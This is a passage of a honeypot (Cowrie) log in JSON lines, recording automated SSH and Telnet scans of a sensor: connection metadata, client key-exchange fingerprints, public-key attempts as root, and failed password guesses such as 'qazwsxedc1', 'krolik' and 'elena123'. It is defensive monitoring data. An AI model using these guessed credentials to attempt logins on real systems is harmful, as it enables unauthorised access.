age":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:20.933799Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49244,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f90af33848a","protocol":"ssh","message":"New connection: 103.27.238.114:49244 (10.17.0.5:22) [session: 2f90af33848a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:20.988982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:20.993562Z","src_ip":"103.27.238.114","session":"2f90af33848a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.259080Z","src_ip":"103.27.238.114","session":"2f90af33848a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:73:27:04:ba:cc:e1:5d:4b:48:76:93:3e:8e:b9:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwagUX3MtbguOOoqygcYrpj0sJXV9NanxyJj3CIBq5IDpwd1fKVlZUj/gSe/D5T3r0U/LQ2a4GMl0LK6UrgFvzIQZxLjg7M/fyqG0LHYFzJnNRh5TmgVJzMieDaSSRgdwUAr/N3uvN1MGaRONuA05Z8Nbsl/Y9N0N+IfcK2e7ZPIEI/YYdmHlsOXf/LwME56SnJQlxd3OPctWAYG1KrmCU/YXA7+IitTkEkboDZBht6+vL/14KriEtWfmESfj5HRndjp879kRYxL9Eh0nGrhSBxZcSmVXI1cFVlczC8g/y0AGtT7hV96X1Qkh7mR/pVzbwgpawiIaAJO4wnN8vcKbb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:73:27:04:ba:cc:e1:5d:4b:48:76:93:3e:8e:b9:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.317669Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:73:27:04:ba:cc:e1:5d:4b:48:76:93:3e:8e:b9:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwagUX3MtbguOOoqygcYrpj0sJXV9NanxyJj3CIBq5IDpwd1fKVlZUj/gSe/D5T3r0U/LQ2a4GMl0LK6UrgFvzIQZxLjg7M/fyqG0LHYFzJnNRh5TmgVJzMieDaSSRgdwUAr/N3uvN1MGaRONuA05Z8Nbsl/Y9N0N+IfcK2e7ZPIEI/YYdmHlsOXf/LwME56SnJQlxd3OPctWAYG1KrmCU/YXA7+IitTkEkboDZBht6+vL/14KriEtWfmESfj5HRndjp879kRYxL9Eh0nGrhSBxZcSmVXI1cFVlczC8g/y0AGtT7hV96X1Qkh7mR/pVzbwgpawiIaAJO4wnN8vcKbb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.322356Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:e0:20:15:99:b8:40:00:51:00:f1:29:4c:e6:be:b2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOZ/P2CtnUbp8GDhd1znOwZK2W1rQiXrNlp2sRYMr3zyJ7uaNpg9H0iXoImF+BQAFRopKpSyJ4/+TgqmvMvDo5SthZZNZnigzWsIPdHFOWLN+7Rn9B6wHST8RsikNuHpTNKbJTOljiGMtmv+mnQ20FSAT4Z7DREL0fMeVEzGi8DDAAAAFQCKV3Htb9S06nd2a5wnPRSV8Fz5nwAAAIAawv5AIz5E/3yNkAlUMe20+by1yI08qpRcG3W99Izq0sOTB4LKRJqWGZG8wr0CZba0/GJoxjSmrTLwnGBWMokPwAvmJAivKDcHTY9MgB5AfJEszyApOoTzkrhNN4MSS1kByi1PSuhApQNErwSgruzJL9bYT3RlKL28sP2I69P+TgAAAIB6MevQtTjBptq9YrcB5B/+sMAPO26/jNmN/JQyyuH2LljolWlFNvQWJc6rb+utVn11XwYwsVSyWk1DPZdHdwSz6tATW1vnnA/6dyQ51fYgHhXfeM0z9EwDPBa8EEWY1xX21mWaJ2+2w3su0aFgzoehZtQkreVE1h3fLQK/ac36Pg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b1:e0:20:15:99:b8:40:00:51:00:f1:29:4c:e6:be:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.408025Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:e0:20:15:99:b8:40:00:51:00:f1:29:4c:e6:be:b2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOZ/P2CtnUbp8GDhd1znOwZK2W1rQiXrNlp2sRYMr3zyJ7uaNpg9H0iXoImF+BQAFRopKpSyJ4/+TgqmvMvDo5SthZZNZnigzWsIPdHFOWLN+7Rn9B6wHST8RsikNuHpTNKbJTOljiGMtmv+mnQ20FSAT4Z7DREL0fMeVEzGi8DDAAAAFQCKV3Htb9S06nd2a5wnPRSV8Fz5nwAAAIAawv5AIz5E/3yNkAlUMe20+by1yI08qpRcG3W99Izq0sOTB4LKRJqWGZG8wr0CZba0/GJoxjSmrTLwnGBWMokPwAvmJAivKDcHTY9MgB5AfJEszyApOoTzkrhNN4MSS1kByi1PSuhApQNErwSgruzJL9bYT3RlKL28sP2I69P+TgAAAIB6MevQtTjBptq9YrcB5B/+sMAPO26/jNmN/JQyyuH2LljolWlFNvQWJc6rb+utVn11XwYwsVSyWk1DPZdHdwSz6tATW1vnnA/6dyQ51fYgHhXfeM0z9EwDPBa8EEWY1xX21mWaJ2+2w3su0aFgzoehZtQkreVE1h3fLQK/ac36Pg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.411832Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:d6:c7:e8:bf:96:c1:b3:33:b1:11:ca:17:46:d2:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxOfIV44KPSoyAVa6KUUQ2Fl3HasgTw9IES5+D6a0qcbyaLGnQXejclVmKe0Am8fpfYtrtwwqJxrWy2zFa9AiPLqf5rop+0gGLtJPfq/o8mSq5E81LzvTEQ8yW0T7qKGB/WdweSMWieO0aUNm04O1Q/URxcDTwmccJrRsLfEV/vnNLe8e1Rnrb17jSgRykjhfcoy28f9nqm8DM5ayARzK5YfBSGOS1evto2glYrCo37TNTPROvdlmrG6BmDvThvuo4y3Yolwlt7psEUusrwN5sHVYm0Ve/+Bl/9XpCEymV6nzXaz7BVut+tyNKvTiYTUVDyVUpcVr3aq5ds6wB5PUZVB2VSMIUnxsxDLxyl79ZkamHX/MJh01KFfZG1gRIP9kGTDyjynEd+vOin0WYDwMHSyuj594mVIb2ggjBj6Yb5yQ0xP3WBnCJRX2P97sxM+vcpqeQA3oRNq4nG9GWEzJCuEGmU0yeSWnHsD3YGGXP/9chUqA9X5fPSqWFUMNIQ80=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:d6:c7:e8:bf:96:c1:b3:33:b1:11:ca:17:46:d2:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.494506Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:d6:c7:e8:bf:96:c1:b3:33:b1:11:ca:17:46:d2:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxOfIV44KPSoyAVa6KUUQ2Fl3HasgTw9IES5+D6a0qcbyaLGnQXejclVmKe0Am8fpfYtrtwwqJxrWy2zFa9AiPLqf5rop+0gGLtJPfq/o8mSq5E81LzvTEQ8yW0T7qKGB/WdweSMWieO0aUNm04O1Q/URxcDTwmccJrRsLfEV/vnNLe8e1Rnrb17jSgRykjhfcoy28f9nqm8DM5ayARzK5YfBSGOS1evto2glYrCo37TNTPROvdlmrG6BmDvThvuo4y3Yolwlt7psEUusrwN5sHVYm0Ve/+Bl/9XpCEymV6nzXaz7BVut+tyNKvTiYTUVDyVUpcVr3aq5ds6wB5PUZVB2VSMIUnxsxDLxyl79ZkamHX/MJh01KFfZG1gRIP9kGTDyjynEd+vOin0WYDwMHSyuj594mVIb2ggjBj6Yb5yQ0xP3WBnCJRX2P97sxM+vcpqeQA3oRNq4nG9GWEzJCuEGmU0yeSWnHsD3YGGXP/9chUqA9X5fPSqWFUMNIQ80=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.498661Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:fa:0c:d7:30:d5:26:1b:6d:74:f3:3f:1b:53:88:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjEd6OyYz5P7iTP/oXBUW6Gt+3B4ie3BCOF/tPnhwy7I63yChtAK2kFCrQH0ICS31OW/80ZYREVkO6SrLbobwddb0ufClCVjFPR9ZVTzHmLGhCvuRLwFER1CMSQss9ND7txYLt0SvuokIb5Kj/flLsnHj1DokGFc9sVsCDUkQKdenPpfzlOoSn8eJgJBDaKiIpn0CvtC7SQS33fkD/jTcKqVSxDzQe7/RQZeoLvU1BVR5ReSV8wd5+xY/9UWSd2yYJWxsBrg6uAxQBS/7ZuyiTiNCQ/c2tx3VZPGn6bdKSM7Xf6D5eDpS4pQ63BJKCmhrooeRMgACm3hY7Mzpm8R45","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:fa:0c:d7:30:d5:26:1b:6d:74:f3:3f:1b:53:88:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.581066Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:fa:0c:d7:30:d5:26:1b:6d:74:f3:3f:1b:53:88:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjEd6OyYz5P7iTP/oXBUW6Gt+3B4ie3BCOF/tPnhwy7I63yChtAK2kFCrQH0ICS31OW/80ZYREVkO6SrLbobwddb0ufClCVjFPR9ZVTzHmLGhCvuRLwFER1CMSQss9ND7txYLt0SvuokIb5Kj/flLsnHj1DokGFc9sVsCDUkQKdenPpfzlOoSn8eJgJBDaKiIpn0CvtC7SQS33fkD/jTcKqVSxDzQe7/RQZeoLvU1BVR5ReSV8wd5+xY/9UWSd2yYJWxsBrg6uAxQBS/7ZuyiTiNCQ/c2tx3VZPGn6bdKSM7Xf6D5eDpS4pQ63BJKCmhrooeRMgACm3hY7Mzpm8R45","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.585115Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:8f:07:6a:0b:6a:2a:97:dc:83:ff:4b:20:c5:84:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8fY/LDdq1Ku1WJ6T2+AXRWwUPAWDaOVlG+fa1OFmeEFtp7yKsGI8NdEpw4uGpjsQWtRdYjkxUgbX37hos9qMHBA1JOvKwftcG8Wq1MwFdI6klunC2oAcHKe5Fz8/Ugrc1Nu77HhbJ1KH1fpV4OYV7so2xVEVm/4phaTiLaSKu4z0s3wxK7IiNT99P4HRIRbY7eVasd1vtt7EhJV6fZRx9yviipgO8gqbniOiL+U8LaCq4n2RWDVc2s1AKnCM7HGx6H3i3TD6ZfDUwUf+H8P7lpYWAcXVcGQfBzFK4oOQ3LfI3oAINNydt6tLk9ki00HDdYVtCmavXwENyP0KqNi/wRnGRAwUNXK+v54PizP6Azn5sulbZxmyRWL7EG1cr8n7IN0b15OPBx/j1sNbUgJ3PcYWOS6yu6Ikn86V112B0W7Rr4zUvl9kxKSOshEZa+fAOcVzAB0ZRo4DpIXETrSutw/ojwZ5vsQRZp94IU01CCwxhvEFRdTzLh/NIi1leHAU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:8f:07:6a:0b:6a:2a:97:dc:83:ff:4b:20:c5:84:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.668688Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:8f:07:6a:0b:6a:2a:97:dc:83:ff:4b:20:c5:84:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8fY/LDdq1Ku1WJ6T2+AXRWwUPAWDaOVlG+fa1OFmeEFtp7yKsGI8NdEpw4uGpjsQWtRdYjkxUgbX37hos9qMHBA1JOvKwftcG8Wq1MwFdI6klunC2oAcHKe5Fz8/Ugrc1Nu77HhbJ1KH1fpV4OYV7so2xVEVm/4phaTiLaSKu4z0s3wxK7IiNT99P4HRIRbY7eVasd1vtt7EhJV6fZRx9yviipgO8gqbniOiL+U8LaCq4n2RWDVc2s1AKnCM7HGx6H3i3TD6ZfDUwUf+H8P7lpYWAcXVcGQfBzFK4oOQ3LfI3oAINNydt6tLk9ki00HDdYVtCmavXwENyP0KqNi/wRnGRAwUNXK+v54PizP6Azn5sulbZxmyRWL7EG1cr8n7IN0b15OPBx/j1sNbUgJ3PcYWOS6yu6Ikn86V112B0W7Rr4zUvl9kxKSOshEZa+fAOcVzAB0ZRo4DpIXETrSutw/ojwZ5vsQRZp94IU01CCwxhvEFRdTzLh/NIi1leHAU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.672647Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:21.755863Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc1","message":"login attempt [root/qazwsxedc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:22.055705Z","src_ip":"103.27.238.114","session":"2f90af33848a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:23.324936Z","src_ip":"103.27.238.114","session":"2f90af33848a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":58154,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b0e5a77da39","protocol":"ssh","message":"New connection: 194.59.206.2:58154 (10.17.0.5:22) [session: 6b0e5a77da39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:24.287009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:24.291987Z","src_ip":"194.59.206.2","session":"6b0e5a77da39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:24.377892Z","src_ip":"194.59.206.2","session":"6b0e5a77da39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:24.553075Z","src_ip":"194.59.206.2","session":"6b0e5a77da39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:11.071532Z","src_ip":"176.32.39.21","session":"8baf07f4e66b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":55500,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e37bc9a0c32","protocol":"ssh","message":"New connection: 46.19.67.181:55500 (10.17.0.5:22) [session: 0e37bc9a0c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:11.671103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:11.675651Z","src_ip":"46.19.67.181","session":"0e37bc9a0c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:11.790049Z","src_ip":"46.19.67.181","session":"0e37bc9a0c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krolik","message":"login attempt [root/krolik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:12.138723Z","src_ip":"46.19.67.181","session":"0e37bc9a0c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:13.255891Z","src_ip":"46.19.67.181","session":"0e37bc9a0c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60566,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ef26b7a83e","protocol":"telnet","message":"New connection: 50.6.8.71:60566 (10.17.0.5:23) [session: 52ef26b7a83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:17.853147Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":57912,"dst_ip":"10.17.0.5","dst_port":22,"session":"1938644b0484","protocol":"ssh","message":"New connection: 89.108.118.91:57912 (10.17.0.5:22) [session: 1938644b0484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:58.915688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:58.920788Z","src_ip":"89.108.118.91","session":"1938644b0484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:59.056707Z","src_ip":"89.108.118.91","session":"1938644b0484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elena123","message":"login attempt [root/elena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:14:59.465556Z","src_ip":"89.108.118.91","session":"1938644b0484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.41158318519592,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:00.264620Z","src_ip":"50.6.8.71","session":"52ef26b7a83e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:00.603940Z","src_ip":"89.108.118.91","session":"1938644b0484","protocol":"ssh"}
